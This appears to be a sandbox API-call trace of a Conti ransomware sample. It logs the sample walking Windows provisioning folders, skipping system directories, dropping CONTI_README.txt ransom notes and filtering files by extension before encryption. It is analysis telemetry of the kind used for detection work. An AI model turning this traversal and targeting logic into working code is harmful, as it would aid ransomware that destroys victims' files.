	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.503] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.503] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned 76
	[0106.503] lstrlenW (lpString="Prov") returned 4
	[0106.503] GetProcessHeap () returned 0x1720000
	[0106.503] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.503] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}"
	[0106.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\"
	[0106.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov"
	[0106.503] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned 81
	[0106.503] GetProcessHeap () returned 0x1720000
	[0106.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6511308
	[0106.504] lstrcpyW (in: lpString1=0x6511308, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov"
	[0106.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*"
	[0106.504] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned 81
	[0106.504] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.504] GetProcessHeap () returned 0x1720000
	[0106.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d718
	[0106.504] lstrcpyW (in: lpString1=0x181d718, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov"
	[0106.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\"
	[0106.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\CONTI_README.txt"
	[0106.504] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.515] GetProcessHeap () returned 0x1720000
	[0106.515] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d718 | out: hHeap=0x1720000) returned 1
	[0106.515] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.515] CloseHandle (hObject=0x3a8) returned 1
	[0106.515] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0106.516] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.516] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.516] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.516] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.516] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53552d40, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53552d40, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.516] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.516] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.516] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.516] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.516] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.516] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.516] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned 81
	[0106.516] lstrlenW (lpString="RunTime") returned 7
	[0106.516] GetProcessHeap () returned 0x1720000
	[0106.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.516] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov"
	[0106.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\"
	[0106.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime"
	[0106.517] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned 89
	[0106.517] GetProcessHeap () returned 0x1720000
	[0106.517] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.517] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime"
	[0106.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*"
	[0106.517] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned 89
	[0106.517] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.517] GetProcessHeap () returned 0x1720000
	[0106.517] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.517] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime"
	[0106.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\"
	[0106.517] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.517] GetProcessHeap () returned 0x1720000
	[0106.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.517] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.518] CloseHandle (hObject=0x398) returned 1
	[0106.518] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0106.518] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.518] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.518] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.518] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.518] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.518] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.518] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.519] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned 89
	[0106.519] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.519] GetProcessHeap () returned 0x1720000
	[0106.519] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.519] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime"
	[0106.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\"
	[0106.519] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.523] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.523] lstrcmpiW (lpString1="1__Power_Policy.provxml", lpString2=".") returned 1
	[0106.523] lstrcmpiW (lpString1="1__Power_Policy.provxml", lpString2="..") returned 1
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.523] StrStrIW (lpFirst="1__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.523] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned 89
	[0106.523] lstrlenW (lpString="1__Power_Policy.provxml") returned 23
	[0106.523] GetProcessHeap () returned 0x1720000
	[0106.523] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c3688
	[0106.523] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime"
	[0106.523] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\"
	[0106.523] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\", lpString2="1__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml"
	[0106.524] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53552d40, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53552d40, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.524] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.524] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.524] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.524] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.524] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53552d40, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53552d40, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53552d40, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.524] GetProcessHeap () returned 0x1720000
	[0106.524] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.524] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0106.524] GetProcessHeap () returned 0x1720000
	[0106.524] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.524] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.524] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.524] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.524] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
